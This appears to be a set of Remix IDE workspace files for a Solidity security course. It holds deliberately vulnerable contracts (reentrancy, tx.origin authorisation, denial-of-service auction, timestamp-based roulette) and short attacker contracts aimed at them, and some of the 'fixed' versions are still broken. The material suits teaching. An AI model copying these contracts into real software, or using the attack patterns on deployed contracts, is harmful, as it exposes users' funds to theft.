_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, bool p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, address p2, uint256 p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint256)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, address p2, string memory p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, address p2, bool p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); | |
} | |
function log(address p0, address p1, address p2, address p3) internal view { | |
_sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); | |
} | |
} |
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.4.22 <0.9.0; | |
library TestsAccounts { | |
function getAccount(uint index) pure public returns (address) { | |
return address(0); | |
} | |
} |
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.4.22 <0.9.0; | |
library Assert { | |
event AssertionEvent( | |
bool passed, | |
string message, | |
string methodName | |
); | |
event AssertionEventUint( | |
bool passed, | |
string message, | |
string methodName, | |
uint256 returned, | |
uint256 expected | |
); | |
event AssertionEventInt( | |
bool passed, | |
string message, | |
string methodName, | |
int256 returned, | |
int256 expected | |
); | |
event AssertionEventBool( | |
bool passed, | |
string message, | |
string methodName, | |
bool returned, | |
bool expected | |
); | |
event AssertionEventAddress( | |
bool passed, | |
string message, | |
string methodName, | |
address returned, | |
address expected | |
); | |
event AssertionEventBytes32( | |
bool passed, | |
string message, | |
string methodName, | |
bytes32 returned, | |
bytes32 expected | |
); | |
event AssertionEventString( | |
bool passed, | |
string message, | |
string methodName, | |
string returned, | |
string expected | |
); | |
event AssertionEventUintInt( | |
bool passed, | |
string message, | |
string methodName, | |
uint256 returned, | |
int256 expected | |
); | |
event AssertionEventIntUint( | |
bool passed, | |
string message, | |
string methodName, | |
int256 returned, | |
uint256 expected | |
); | |
function ok(bool a, string memory message) public returns (bool result) { | |
result = a; | |
emit AssertionEvent(result, message, "ok"); | |
} | |
function equal(uint256 a, uint256 b, string memory message) public returns (bool result) { | |
result = (a == b); | |
emit AssertionEventUint(result, message, "equal", a, b); | |
} | |
function equal(int256 a, int256 b, string memory message) public returns (bool result) { | |
result = (a == b); | |
emit AssertionEventInt(result, message, "equal", a, b); | |
} | |
function equal(bool a, bool b, string memory message) public returns (bool result) { | |
result = (a == b); | |
emit AssertionEventBool(result, message, "equal", a, b); | |
} | |
// TODO: only for certain versions of solc | |
//function equal(fixed a, fixed b, string message) public returns (bool result) { | |
// result = (a == b); | |
// emit AssertionEvent(result, message); | |
//} | |
// TODO: only for certain versions of solc | |
//function equal(ufixed a, ufixed b, string message) public returns (bool result) { | |
// result = (a == b); | |
// emit AssertionEvent(result, message); | |
//} | |
function equal(address a, address b, string memory message) public returns (bool result) { | |
result = (a == b); | |
emit AssertionEventAddress(result, message, "equal", a, b); | |
} | |
function equal(bytes32 a, bytes32 b, string memory message) public returns (bool result) { | |
result = (a == b); | |
emit AssertionEventBytes32(result, message, "equal", a, b); | |
} | |
function equal(string memory a, string memory b, string memory message) public returns (bool result) { | |
result = (keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b))); | |
emit AssertionEventString(result, message, "equal", a, b); | |
} | |
function notEqual(uint256 a, uint256 b, string memory message) public returns (bool result) { | |
result = (a != b); | |
emit AssertionEventUint(result, message, "notEqual", a, b); | |
} | |
function notEqual(int256 a, int256 b, string memory message) public returns (bool result) { | |
result = (a != b); | |
emit AssertionEventInt(result, message, "notEqual", a, b); | |
} | |
function notEqual(bool a, bool b, string memory message) public returns (bool result) { | |
result = (a != b); | |
emit AssertionEventBool(result, message, "notEqual", a, b); | |
} | |
// TODO: only for certain versions of solc | |
//function notEqual(fixed a, fixed b, string message) public returns (bool result) { | |
// result = (a != b); | |
// emit AssertionEvent(result, message); | |
//} | |
// TODO: only for certain versions of solc | |
//function notEqual(ufixed a, ufixed b, string message) public returns (bool result) { | |
// result = (a != b); | |
// emit AssertionEvent(result, message); | |
//} | |
function notEqual(address a, address b, string memory message) public returns (bool result) { | |
result = (a != b); | |
emit AssertionEventAddress(result, message, "notEqual", a, b); | |
} | |
function notEqual(bytes32 a, bytes32 b, string memory message) public returns (bool result) { | |
result = (a != b); | |
emit AssertionEventBytes32(result, message, "notEqual", a, b); | |
} | |
function notEqual(string memory a, string memory b, string memory message) public returns (bool result) { | |
result = (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))); | |
emit AssertionEventString(result, message, "notEqual", a, b); | |
} | |
/*----------------- Greater than --------------------*/ | |
function greaterThan(uint256 a, uint256 b, string memory message) public returns (bool result) { | |
result = (a > b); | |
emit AssertionEventUint(result, message, "greaterThan", a, b); | |
} | |
function greaterThan(int256 a, int256 b, string memory message) public returns (bool result) { | |
result = (a > b); | |
emit AssertionEventInt(result, message, "greaterThan", a, b); | |
} | |
// TODO: safely compare between uint and int | |
function greaterThan(uint256 a, int256 b, string memory message) public returns (bool result) { | |
if(b < int(0)) { | |
// int is negative uint "a" always greater | |
result = true; | |
} else { | |
result = (a > uint(b)); | |
} | |
emit AssertionEventUintInt(result, message, "greaterThan", a, b); | |
} | |
function greaterThan(int256 a, uint256 b, string memory message) public returns (bool result) { | |
if(a < int(0)) { | |
// int is negative uint "b" always greater | |
result = false; | |
} else { | |
result = (uint(a) > b); | |
} | |
emit AssertionEventIntUint(result, message, "greaterThan", a, b); | |
} | |
/*----------------- Lesser than --------------------*/ | |
function lesserThan(uint256 a, uint256 b, string memory message) public returns (bool result) { | |
result = (a < b); | |
emit AssertionEventUint(result, message, "lesserThan", a, b); | |
} | |
function lesserThan(int256 a, int256 b, string memory message) public returns (bool result) { | |
result = (a < b); | |
emit AssertionEventInt(result, message, "lesserThan", a, b); | |
} | |
// TODO: safely compare between uint and int | |
function lesserThan(uint256 a, int256 b, string memory message) public returns (bool result) { | |
if(b < int(0)) { | |
// int is negative int "b" always lesser | |
result = false; | |
} else { | |
result = (a < uint(b)); | |
} | |
emit AssertionEventUintInt(result, message, "lesserThan", a, b); | |
} | |
function lesserThan(int256 a, uint256 b, string memory message) public returns (bool result) { | |
if(a < int(0)) { | |
// int is negative int "a" always lesser | |
result = true; | |
} else { | |
result = (uint(a) < b); | |
} | |
emit AssertionEventIntUint(result, message, "lesserThan", a, b); | |
} | |
} |
{ | |
"overrides": [ | |
{ | |
"files": "*.sol", | |
"options": { | |
"printWidth": 80, | |
"tabWidth": 4, | |
"useTabs": false, | |
"singleQuote": false, | |
"bracketSpacing": false | |
} | |
}, | |
{ | |
"files": "*.yml", | |
"options": {} | |
}, | |
{ | |
"files": "*.yaml", | |
"options": {} | |
}, | |
{ | |
"files": "*.toml", | |
"options": {} | |
}, | |
{ | |
"files": "*.json", | |
"options": {} | |
}, | |
{ | |
"files": "*.js", | |
"options": {} | |
}, | |
{ | |
"files": "*.ts", | |
"options": {} | |
} | |
] | |
} |
REMIX DEFAULT WORKSPACE | |
Remix default workspace is present when: | |
i. Remix loads for the very first time | |
ii. A new workspace is created with 'Default' template | |
iii. There are no files existing in the File Explorer | |
This workspace contains 3 directories: | |
1. 'contracts': Holds three contracts with increasing levels of complexity. | |
2. 'scripts': Contains four typescript files to deploy a contract. It is explained below. | |
3. 'tests': Contains one Solidity test file for 'Ballot' contract & one JS test file for 'Storage' contract. | |
SCRIPTS | |
The 'scripts' folder has four typescript files which help to deploy the 'Storage' contract using 'web3.js' and 'ethers.js' libraries. | |
For the deployment of any other contract, just update the contract's name from 'Storage' to the desired contract and provide constructor arguments accordingly | |
in the file `deploy_with_ethers.ts` or `deploy_with_web3.ts` | |
In the 'tests' folder there is a script containing Mocha-Chai unit tests for 'Storage' contract. | |
To run a script, right click on file name in the file explorer and click 'Run'. Remember, Solidity file must already be compiled. | |
Output from script will appear in remix terminal. | |
Please note, require/import is supported in a limited manner for Remix supported modules. | |
For now, modules supported by Remix are ethers, web3, swarmgw, chai, multihashes, remix and hardhat only for hardhat.ethers object/plugin. | |
For unsupported modules, an error like this will be thrown: '<module_name> module require is not supported by Remix IDE' will be shown. |
{ | |
"language": "Solidity", | |
"settings": { | |
"optimizer": { | |
"enabled": true, | |
"runs": 200 | |
}, | |
"outputSelection": { | |
"*": { | |
"": ["ast"], | |
"*": ["abi", "metadata", "devdoc", "userdoc", "storageLayout", "evm.legacyAssembly", "evm.bytecode", "evm.deployedBytecode", "evm.methodIdentifiers", "evm.gasEstimates", "evm.assembly"] | |
} | |
} | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
contract AbiDecode { | |
struct MyStruct { | |
string name; | |
uint[2] nums; | |
} | |
function encode( | |
uint x, | |
address addr, | |
uint[] calldata arr, | |
MyStruct calldata myStruct | |
) external pure returns (bytes memory) { | |
return abi.encode(x, addr, arr, myStruct); | |
} | |
function decode( | |
bytes calldata data | |
) | |
external | |
pure | |
returns (uint x, address addr, uint[] memory arr, MyStruct memory myStruct) | |
{ | |
// (uint x, address addr, uint[] memory arr, MyStruct myStruct) = ... | |
(x, addr, arr, myStruct) = abi.decode(data, (uint, address, uint[], MyStruct)); | |
} | |
} |
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity ^0.8.17; | |
contract DosOneFunc { | |
address[] listAddresses; | |
function ifillArray() public returns (bool){ | |
if(listAddresses.length<1500) { | |
for(uint i=0;i<350;i++) { | |
listAddresses.push(msg.sender); | |
} | |
return true; | |
} else { | |
listAddresses = new address[](0); | |
return false; | |
} | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract SimpleCondition { | |
function checkIfTrue(bool isTrue, bool oftenFalse) public pure returns(bool){ | |
return isTrue && oftenFalse; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.4.18; | |
contract ImmutableToken{ | |
bytes32 constant tokenName = "test"; | |
string constant anotherTokenName = "test"; | |
function getTokenName() payable public returns(bytes32){ | |
return tokenName; | |
} | |
function getAnotherTokenName() payable public returns(string){ | |
return anotherTokenName; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Crowdfunding { | |
address public owner; | |
bytes32 public name = "Charity"; | |
uint8 public goal; | |
mapping(address => uint256) public contributions; | |
uint256 public totalContributions; | |
event ContributionCheck(uint256 totalContributions, uint8 goal); | |
event ContributionReceived(address contributor, uint256 amount); | |
event CampaignFinished(bool goalReached, uint256 totalContributions); | |
constructor(uint8 _goal) { | |
owner = msg.sender; | |
goal = _goal; | |
totalContributions = 0; | |
} | |
function contribute() public payable { | |
require(msg.value > 0, "Contribution amount must be greater than zero"); | |
if (totalContributions <= goal) { | |
contributions[msg.sender] += msg.value; | |
totalContributions += msg.value; | |
emit ContributionReceived(msg.sender, msg.value); | |
} | |
} | |
function checkGoalReached() public returns(uint256, uint8) { | |
if (totalContributions >= goal) { | |
emit ContributionCheck( totalContributions, goal); | |
} | |
emit CampaignFinished(totalContributions >= goal, totalContributions); | |
if (totalContributions < goal) { | |
emit ContributionCheck(totalContributions, goal); | |
} | |
return (totalContributions, goal); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import "hardhat/console.sol"; | |
contract Unchecked { | |
uint8[] nums = [1,2,3,4]; | |
function loopIndex() public view { | |
for(uint8 i = 0; i < nums.length;){ | |
console.log(nums[i]); | |
unchecked{ i++; } | |
} | |
} | |
function add(uint256 first, uint256 second) public pure returns(uint256){ | |
return first + second; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
// Apply Optimizer | |
contract VotingUnoptimized { | |
string[3] public candidates = ["Trump", "Biden", "Marcos"]; // Memory Expansion: optimize memory (Solution) | |
uint8 public winningVote = 10; | |
mapping(string => uint8) public votes; // limited to 255 votes | |
function voteForCandidate(string memory candidate) public { | |
unchecked{ | |
votes[candidate]++; // Unchecked: optimize memory | |
} | |
} | |
// Payable: turn into a payable function | |
function getVoteCount(string memory candidate) public payable returns (uint256) { | |
return votes[candidate]; | |
} | |
function candidateWon(string memory candidate) public view returns(bool){ | |
// Lesser/Greater: return something if the candidate won | |
return votes[candidate] >= winningVote; | |
} | |
// Batch Operation: create a new function that accepts multiple candidates and each candidate gets 1 vote | |
// Sample input: ["Marcos", "Trump"] | |
function voteCandidates(string[3] memory candidateList) public { | |
for(uint8 i = 0; i < candidateList.length;i++){ | |
votes[candidateList[i]]++; | |
} | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
contract EtherStoreSecure { | |
mapping(address => uint) public balances; | |
address public owner; | |
constructor() { | |
owner = msg.sender; | |
} | |
modifier onlyOwner { // Solution | |
require(owner == msg.sender); | |
_; // used to append/continue code below | |
} | |
function deposit() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdraw() onlyOwner public { // Applied here | |
uint bal = balances[msg.sender]; | |
require(bal > 0); | |
(bool sent, ) = msg.sender.call{value: bal}(""); | |
require(sent, "Failed to send Ether"); | |
balances[msg.sender] = 0; | |
} | |
// Helper function to check the balance of this contract | |
function getBalance() public view returns (uint) { | |
return address(this).balance; | |
} | |
} | |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
contract EtherStore { | |
mapping(address => uint) public balances; | |
address public owner; | |
constructor(){ | |
owner = msg.sender; | |
} | |
modifier onlyOwner(){ | |
require(owner == msg.sender); | |
_; | |
} | |
function deposit() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdraw() onlyOwner public { // Applied here | |
uint bal = balances[msg.sender]; | |
require(bal > 0); | |
(bool sent, ) = msg.sender.call{value: bal}(""); | |
require(sent, "Failed to send Ether"); | |
balances[msg.sender] = 0; | |
} | |
// Helper function to check the balance of this contract | |
function getBalance() public view returns (uint) { | |
return address(this).balance; | |
} | |
} | |
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.8.2 <0.9.0; | |
/** | |
* @title Storage | |
* @dev Store & retrieve value in a variable | |
* @custom:dev-run-script ./scripts/deploy_with_ethers.ts | |
*/ | |
contract Storage { | |
uint256 number; | |
/** | |
* @dev Store value in variable | |
* @param num value to store | |
*/ | |
function store(uint256 num) public { | |
number = num; | |
} | |
/** | |
* @dev Return value | |
* @return value of 'number' | |
*/ | |
function retrieve() public view returns (uint256){ | |
return number; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
contract Wallet { | |
address public owner; | |
constructor() payable { | |
owner = msg.sender; | |
} | |
function transfer(address payable _to, uint256 _amount) public { | |
require(tx.origin == owner, "Not owner"); | |
(bool sent, ) = _to.call{value: _amount}(""); | |
require(sent, "Failed to send Ether"); | |
} | |
} | |
contract Attack { | |
address payable public owner; | |
Wallet wallet; | |
constructor(Wallet _wallet) { | |
wallet = Wallet(_wallet); | |
owner = payable(msg.sender); | |
} | |
function attack() public { | |
wallet.transfer(owner, address(wallet).balance); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Auction { | |
address public currentLeader; | |
uint256 public highestBid; | |
bool private lock; | |
address public owner; | |
constructor(){ | |
owner = msg.sender; | |
} | |
modifier onlyOwner(){ | |
require(owner == msg.sender); | |
_; | |
} | |
modifier setLock(){ | |
lock = false; | |
require(lock); | |
_; | |
lock = true; | |
} | |
modifier unLock(){ | |
require(owner == msg.sender); | |
lock = true; | |
_; | |
} | |
function placeBid() setLock external payable { | |
require(msg.value > highestBid); | |
(bool sent, ) = currentLeader.call{value: highestBid}(""); | |
require(sent, "Failed to send Ether"); | |
currentLeader = msg.sender; | |
highestBid = msg.value; | |
} | |
function endAuction() onlyOwner unLock public { | |
// end the auction | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import "contracts/22_Auction.sol"; | |
contract AuctionAttack { | |
Auction public auction; | |
constructor(address _auctionAddress) { | |
auction = Auction(_auctionAddress); | |
} | |
function attack() public payable { | |
auction.placeBid{value: msg.value}(); | |
} | |
function getBalance() public view returns (uint256) { | |
return address(this).balance; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
contract AuctionSolution { | |
address public currentLeader; | |
uint public highestBid; | |
mapping(address => uint) public balances; | |
function placeBid() external payable { | |
require(msg.value > highestBid, "Need to pay more to become the leader"); | |
balances[currentLeader] += highestBid; | |
highestBid = msg.value; | |
currentLeader = msg.sender; | |
} | |
function withdraw() public { | |
require(msg.sender != currentLeader, "Current Leader cannot withdraw"); | |
uint amount = balances[msg.sender]; | |
balances[msg.sender] = 0; | |
(bool sent, ) = msg.sender.call{value: amount}(""); | |
require(sent, "Failed to send Ether"); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
contract GasLimit { | |
uint256 private constant BATCH_SIZE = 50; | |
address[] private allRefundAddresses; | |
address private owner; // The address of the contract owner | |
mapping(address => uint256) public refundAmounts; | |
// 21000 gas | |
event RefundFailed(address recipient, uint256 amount); | |
modifier onlyOwner() { | |
require(msg.sender == owner, "Only the contract owner can call this function."); | |
_; | |
} | |
function refundAll() public onlyOwner { | |
uint256 totalAddresses = allRefundAddresses.length; | |
for (uint256 i = 0; i < totalAddresses; i += BATCH_SIZE) { | |
uint256 batchEnd = (i + BATCH_SIZE > totalAddresses) ? totalAddresses : (i + BATCH_SIZE); | |
for (uint256 j = i; j < batchEnd; j++) { | |
address recipient = allRefundAddresses[j]; | |
uint256 amount = refundAmounts[recipient]; | |
if (amount > 0) { | |
if (!payable(recipient).send(amount)) { | |
emit RefundFailed(recipient, amount); | |
} | |
} | |
} | |
} | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
contract Griefing { | |
uint256 public balance; | |
function contribute() external payable { | |
balance += msg.value; | |
} | |
function withdraw(uint256 amount) external { | |
require(amount <= balance, "Insufficient balance"); | |
// Intentionally send funds to the attacker's address | |
payable(msg.sender).transfer(amount); | |
} | |
} | |
contract AttackContract { | |
Griefing public targetContract; | |
constructor(address targetAddress) { | |
targetContract = Griefing(targetAddress); | |
} | |
function attack() external payable { | |
// Contribute some funds to the target contract | |
targetContract.contribute{value: msg.value}(); | |
// Trigger the withdrawal with a higher amount than the target's balance | |
targetContract.withdraw(msg.value + 1); | |
} | |
function collectFunds() external { | |
// Collect the funds sent by the target contract | |
payable(msg.sender).transfer(address(this).balance); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
contract FindThisHash { | |
bytes32 public constant hash = | |
0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2; | |
constructor() payable {} | |
function solve(string memory solution) public { | |
require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer"); | |
(bool sent, ) = msg.sender.call{value: 10 ether}(""); | |
require(sent, "Failed to send Ether"); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.17; | |
// If the scale of your time-dependent event can vary by 15 seconds and maintain integrity, | |
// it is safe to use a block.timestamp. | |
contract Roulette { | |
uint public pastBlockTime; | |
constructor() payable {} | |
function spin() external payable { | |
require(msg.value == 10 ether); // must send 10 ether to play | |
require(block.timestamp != pastBlockTime); // only 1 transaction per block | |
pastBlockTime = block.timestamp; | |
if (block.timestamp % 15 == 0) { | |
(bool sent, ) = msg.sender.call{value: address(this).balance}(""); | |
require(sent, "Failed to send Ether"); | |
} | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract KYCContract { | |
struct Customer { | |
string name; | |
uint256 age; | |
address walletAddress; | |
bool isVerified; | |
uint256 balance; // Customer balance in wei | |
} | |
mapping(address => Customer) public customers; | |
mapping(address => bool) public whitelist; | |
address public admin; | |
event CustomerRegistered(address indexed walletAddress, string name); | |
event CustomerVerified(address indexed walletAddress, string name); | |
event CustomerAddedToWhitelist(address indexed walletAddress); | |
event CustomerRemovedFromWhitelist(address indexed walletAddress); | |
event Deposit(address indexed walletAddress, uint256 amount); | |
event Withdrawal(address indexed walletAddress, uint256 amount); | |
modifier onlyAdmin() { | |
require(msg.sender == admin, "Only admin can perform this action"); | |
_; | |
} | |
modifier onlyVerified(address _walletAddress) { | |
require(customers[_walletAddress].isVerified, "Customer is not verified"); | |
_; | |
} | |
constructor() { | |
admin = msg.sender; | |
} | |
function registerCustomer(string memory _name, uint256 _age) public { | |
require(customers[msg.sender].walletAddress != msg.sender, "Customer already registered"); | |
customers[msg.sender] = Customer(_name, _age, msg.sender, false, 0); | |
emit CustomerRegistered(msg.sender, _name); | |
} | |
function verifyCustomer(address _walletAddress) public onlyAdmin { | |
require(customers[_walletAddress].walletAddress == _walletAddress, "Customer not found"); | |
customers[_walletAddress].isVerified = true; | |
emit CustomerVerified(_walletAddress, customers[_walletAddress].name); | |
} | |
function addToWhitelist(address _walletAddress) public onlyAdmin { | |
require(customers[_walletAddress].walletAddress == _walletAddress, "Customer not found"); | |
whitelist[_walletAddress] = true; | |
emit CustomerAddedToWhitelist(_walletAddress); | |
} | |
function removeFromWhitelist(address _walletAddress) public onlyAdmin { | |
require(customers[_walletAddress].walletAddress == _walletAddress, "Customer not found"); | |
whitelist[_walletAddress] = false; | |
emit CustomerRemovedFromWhitelist(_walletAddress); | |
} | |
function deposit() public payable onlyVerified(msg.sender) { | |
require(msg.value > 0, "Invalid deposit amount"); | |
customers[msg.sender].balance += msg.value; | |
emit Deposit(msg.sender, msg.value); | |
} | |
function withdraw(uint256 _amount) public onlyVerified(msg.sender) { | |
require(_amount > 0, "Invalid withdrawal amount"); | |
require(_amount <= customers[msg.sender].balance, "Insufficient balance"); | |
customers[msg.sender].balance -= _amount; | |
payable(msg.sender).transfer(_amount); | |
emit Withdrawal(msg.sender, _amount); | |
} | |
function getCustomer(address _walletAddress) public view returns (string memory, uint256, address, bool, uint256) { | |
return ( | |
customers[_walletAddress].name, | |
customers[_walletAddress].age, | |
customers[_walletAddress].walletAddress, | |
customers[_walletAddress].isVerified, | |
customers[_walletAddress].balance | |
); | |
} | |
function setAdmin(address _admin) public onlyAdmin { | |
admin = _admin; | |
} | |
} |
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.7.0 <0.9.0; | |
import "hardhat/console.sol"; | |
/** | |
* @title Owner | |
* @dev Set & change owner | |
*/ | |
contract Owner { | |
address private owner; | |
bool public pause = false; | |
// event for EVM logging | |
event OwnerSet(address indexed oldOwner, address indexed newOwner); | |
// modifier to check if caller is owner | |
modifier isOwner() { | |
// If the first argument of 'require' evaluates to 'false', execution terminates and all | |
// changes to the state and to Ether balances are reverted. | |
// This used to consume all gas in old EVM versions, but not anymore. | |
// It is often a good idea to use 'require' to check if functions are called correctly. | |
// As a second argument, you can also provide an explanation about what went wrong. | |
require(msg.sender == owner, "Caller is not owner"); | |
_; | |
} | |
modifier isPauseable() { | |
// If the first argument of 'require' evaluates to 'false', execution terminates and all | |
// changes to the state and to Ether balances are reverted. | |
// This used to consume all gas in old EVM versions, but not anymore. | |
// It is often a good idea to use 'require' to check if functions are called correctly. | |
// As a second argument, you can also provide an explanation about what went wrong. | |
require(pause); | |
_; | |
} | |
/** | |
* @dev Set contract deployer as owner | |
*/ | |
constructor() { | |
console.log("Owner contract deployed by:", msg.sender); | |
owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor | |
emit OwnerSet(address(0), owner); | |
} | |
/** | |
* @dev Change owner | |
* @param newOwner address of new owner | |
*/ | |
function changeOwner(address newOwner) public isOwner { | |
emit OwnerSet(owner, newOwner); | |
owner = newOwner; | |
} | |
function isPause(bool pauseThis) public { | |
pause = pauseThis; | |
} | |
/** | |
* @dev Return owner address | |
* @return address of owner | |
*/ | |
function getOwner() external view isPauseable returns (address) { | |
return owner; | |
} | |
function depost() internal returns(address){ | |
// some logic | |
} | |
receive() external payable{ | |
// deposit() | |
} | |
fallback() external payable{ | |
// do something different | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract EtherStore { | |
uint256 public balance; | |
function deposit() public payable { | |
require(msg.value > 0, "No Eth"); | |
balance += msg.value; | |
} | |
function widthdraw() public { | |
require(balance > 0, "No Eth"); | |
(bool sent, ) = msg.sender.call{value: balance}(""); | |
require(sent, "Failed to send Ether"); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract EtherStore { | |
uint256 public balance; | |
address private owner; | |
bool isPaused = false; | |
constructor(){ | |
owner = msg.sender; | |
} | |
modifier onlyOwner(){ | |
require(owner == msg.sender); | |
_; | |
} | |
modifier paused(){ | |
require(isPaused); | |
_; | |
} | |
function pause() onlyOwner public { | |
isPaused = true; | |
} | |
function unpause() onlyOwner public { | |
isPaused = false; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/Pausable.sol"; | |
contract GuardCheck is Pausable { | |
mapping(address => uint) public balances; | |
function contribute (address _from) payable public { | |
require(msg.value > 0); | |
require(_from != address(0)); | |
uint256 beforeBalanceTransfer = balances[_from]; | |
uint256 amount; | |
if(balances[_from] == 0){ | |
amount += msg.value; | |
}else{ | |
revert("Insufficient Balance"); | |
} | |
(bool transfered, ) = _from.call{value : amount}(""); | |
require(transfered, "Amount can't be transfered"); | |
assert(balances[_from] == beforeBalanceTransfer - amount); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract Contribution { | |
mapping(address => uint) public balances; | |
function contribute (address _from) payable public { | |
require(msg.value > 0); | |
require(_from != address(0)); | |
uint256 beforeTransfer = balances[_from]; | |
uint256 amount; | |
if(balances[_from] == 0){ | |
amount += msg.value; | |
}else{ | |
revert("Insufficient Balance"); | |
} | |
(bool transfered, ) = _from.call{value : amount }(""); | |
require(transfered, "Amount can't be transfered"); | |
assert(balances[_from] == beforeTransfer - amount); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract EtherStore { | |
uint256 public balance; | |
bool lock; | |
modifier lockThis(){ | |
lock = false; | |
require(lock == false); | |
_; | |
lock = true; | |
} | |
function deposit() public payable { // apply modifier | |
require(msg.value > 0, "No Eth"); | |
balance += msg.value; | |
} | |
function widthdraw() lockThis public { // pply modifier | |
require(balance > 0, "No Eth"); | |
(bool sent, ) = msg.sender.call{value: balance}(""); | |
require(sent, "Failed to send Ether"); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.20; | |
// Company | |
contract reentrancyVictim{ | |
// array of address | |
mapping(address => uint256) public balances; //employees | |
uint256 public contractBalance; | |
function payIn() public payable{ | |
balances[msg.sender] += msg.value; | |
} | |
// store profit | |
function withdraw() public payable{ | |
require(balances[msg.sender] > 0, "Insufficiant balance"); | |
(bool transfer, ) = msg.sender.call{value: balances[msg.sender]}(""); | |
require(transfer, ""); | |
balances[msg.sender] = 0; | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.0; | |
contract EtherStore { | |
mapping(address => uint) private accountBalances; | |
function deposit() public payable { | |
require(msg.value > 0); | |
accountBalances[msg.sender] = msg.value; | |
} | |
function withdraw() public { | |
uint amount = accountBalances[msg.sender]; | |
require(amount > 0); | |
accountBalances[msg.sender] = 0; | |
payable(msg.sender).transfer(amount); | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.20; | |
contract reentrancyVictim{ | |
mapping(address => uint256) public balances; | |
uint256 public contractBalance; | |
function payIn() public payable{ | |
balances[msg.sender] += msg.value; | |
} | |
function withdraw() public payable{ | |
// Check | |
require(balances[msg.sender] > 0, "Insufficient Balance"); | |
// Effect | |
uint256 payBalance = balances[msg.sender]; | |
balances[msg.sender] = 0; | |
// Interactions | |
(bool transfer, ) = msg.sender.call{value: balances[msg.sender]}(""); | |
require(transfer); | |
if(!transfer){ | |
balances[msg.sender] = payBalance; | |
} | |
} | |
} |
// SPDX-License-Identifier: MIT | |
pragma solidity 0.8.20; | |
contract reentrancsSafe{ | |
mapping(address => uint256) public balances; | |
uint256 public contractBalance; | |
function payIn() public payable{ | |
balances[msg.sender] += msg.value; | |
} | |
function withdraw() public payable{ | |
// check | |
require(balances[msg.sender] > 0, "Insufficiant balance"); | |
// effect | |
uint256 payBalance = balances[msg.sender]; | |
balances[msg.sender] = 0; | |
// interaction | |
(bool success, ) = payable(msg.sender).call{value: payBalance}(""); | |
require(success); | |
if(!success){ // catch the case where the send was unsuccesful | |
balances[msg.sender] = payBalance; | |
} | |
} | |
function updateContractBalance() public{ | |
contractBalance = address(this).balance; | |
} | |
} |
// SPDX-License-Identifier: GPL-3.0 | |
pragma solidity >=0.7.0 <0.9.0; | |
/** | |
* @title Ballot | |
* @dev Implements voting process along with vote delegation | |
*/ | |
contract Ballot { | |
struct Voter { | |
uint weight; // weight is accumulated by delegation | |
bool voted; // if true, that person already voted | |
address delegate; // person delegated to | |
uint vote; // index of the voted proposal | |
} | |
struct Proposal { | |
// If you can limit the length to a certain number of bytes, | |
// always use one of bytes1 to bytes32 because they are much cheaper | |
bytes32 name; // short name (up to 32 bytes) | |
uint voteCount; // number of accumulated votes | |
} | |
address public chairperson; | |
mapping(address => Voter) public voters; | |
Proposal[] public proposals; | |
/** | |
* @dev Create a new ballot to choose one of 'proposalNames'. | |
* @param proposalNames names of proposals | |
*/ | |
